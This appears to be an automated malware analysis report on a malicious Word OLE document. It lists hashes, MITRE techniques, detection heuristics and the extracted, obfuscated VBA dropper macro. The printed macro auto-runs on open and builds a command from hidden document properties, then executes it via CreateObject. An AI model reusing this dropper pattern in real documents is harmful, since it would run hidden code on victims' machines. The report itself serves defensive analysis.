Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fd0dca8a81c0a02…

MALICIOUS

Office (OLE)

55.0 KB Created: 2017-08-01 07:32:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 23d89ceb5d9834dd2ad202949e696f9b SHA-1: 8db1c98cb69ef618e65996eed0a7248a55e1c56d SHA-256: 3fd0dca8a81c0a02b5d3757a6806447854683606bb8b6456e14b2328c0cede3d
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The presence of an 'autoopen' macro and a 'CreateObject' call indicates that the macro is designed to execute a payload upon opening. The ClamAV detection 'Doc.Dropper.Agent-6349859-0' further supports its malicious nature as a dropper. The macro itself is heavily obfuscated, but its intent is to execute arbitrary code.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6349859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6349859-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3193 bytes
SHA-256: c16033ba430acf0d4aae3d42f34090cbd9dc300d0489bbc4565f9e9cb3f138ea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
RYdFCXIaJUEm
End Sub
Function uKnWzCybHswg(ByVal PHVTmFYUscwB As String, ByVal TPRfpEnderJZ As Variant) As Boolean
For Each afHhSDoWYldn In TPRfpEnderJZ
    If afHhSDoWYldn = PHVTmFYUscwB Then
        uKnWzCybHswg = True
        Exit Function
    End If
Next afHhSDoWYldn
End Function
 Function RHVrdeNnyMXW(ByVal rGvQIwbKLaXq As String, ByVal ogxvDdcirOps As Variant) As Boolean
For Each sboyxDuImGVS In ogxvDdcirOps
    If sboyxDuImGVS = rGvQIwbKLaXq Then
        RHVrdeNnyMXW = True
        Exit Function
    End If
Next sboyxDuImGVS
End Function
 Function ZxXVtzUGQkEh(ByVal cSuLpzZVheQi As String, ByVal CrilnmdBFWEb As Variant) As Boolean
For Each xzOJevmUTrkK In CrilnmdBFWEb
    If xzOJevmUTrkK = cSuLpzZVheQi Then
        ZxXVtzUGQkEh = True
        Exit Function
    End If
Next xzOJevmUTrkK
End Function
 Function iTXLwZYKjcRM(ByVal dPtVRxLgqsuU As String, ByVal DneavFuBWVcR As Variant) As Boolean
For Each RqOAQVkmxvFo In DneavFuBWVcR
    If RqOAQVkmxvFo = dPtVRxLgqsuU Then
        iTXLwZYKjcRM = True
        Exit Function
    End If
Next RqOAQVkmxvFo
End Function
 Function uFJkVyASvbgj(ByVal pSLQzwZmNRkc As String, ByVal VbKlcCtDXIif As Variant) As Boolean
For Each olbIHgWcBPEJ In VbKlcCtDXIif
    If olbIHgWcBPEJ = pSLQzwZmNRkc Then
        uFJkVyASvbgj = True
        Exit Function
    End If
Next olbIHgWcBPEJ
End Function

Public Function RYdFCXIaJUEm()
GGGGG = "GGGGG"
itYTCcqAwduV = ActiveDocument.CustomDocumentProperties("ozvgGckwTd") + ActiveDocument.CustomDocumentProperties("ywFPrlqNKa")
GGGGG = "GGGGG"
WcGoQdrwLaFV = ActiveDocument.CustomDocumentProperties("QKCpmiVZrn") + ActiveDocument.CustomDocumentProperties("ojfIChbsiV")
GGGGG = "GGGGG"
IAdgFlGSHcqr = itYTCcqAwduV + ActiveDocument.CustomDocumentProperties("PnetpqQrjv") + ActiveDocument.CustomDocumentProperties("RZqUgvXiao") + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(WcGoQdrwLaFV + ActiveDocument.CustomDocumentProperties("PnetpqQrjv")).Run$ IAdgFlGSHcqr, 0
End Function
Function cIRknMJdifPG(ByVal dYgomRDvzHPl As String, ByVal TJCrOdEhbSLn As Variant) As Boolean
For Each zKyOojHCeUgx In TJCrOdEhbSLn
    If zKyOojHCeUgx = dYgomRDvzHPl Then
        cIRknMJdifPG = True
        Exit Function
    End If
Next zKyOojHCeUgx
End Function
 Function USJElLNeKaQm(ByVal SMJwzaYlLVbq As String, ByVal ADplRMaLshGo As Variant) As Boolean
For Each NuHCtFfVXZYx In ADplRMaLshGo
    If NuHCtFfVXZYx = SMJwzaYlLVbq Then
        USJElLNeKaQm = True
        Exit Function
    End If
Next NuHCtFfVXZYx
End Function
 Function SdWqIGPQgClc(ByVal xoZrGCaAybnD As String, ByVal EbGNvpdeQwKl As Variant) As Boolean
For Each ajoSKBXQWEfA In EbGNvpdeQwKl
    If ajoSKBXQWEfA = xoZrGCaAybnD Then
        SdWqIGPQgClc = True
        Exit Function
    End If
Next ajoSKBXQWEfA
End Function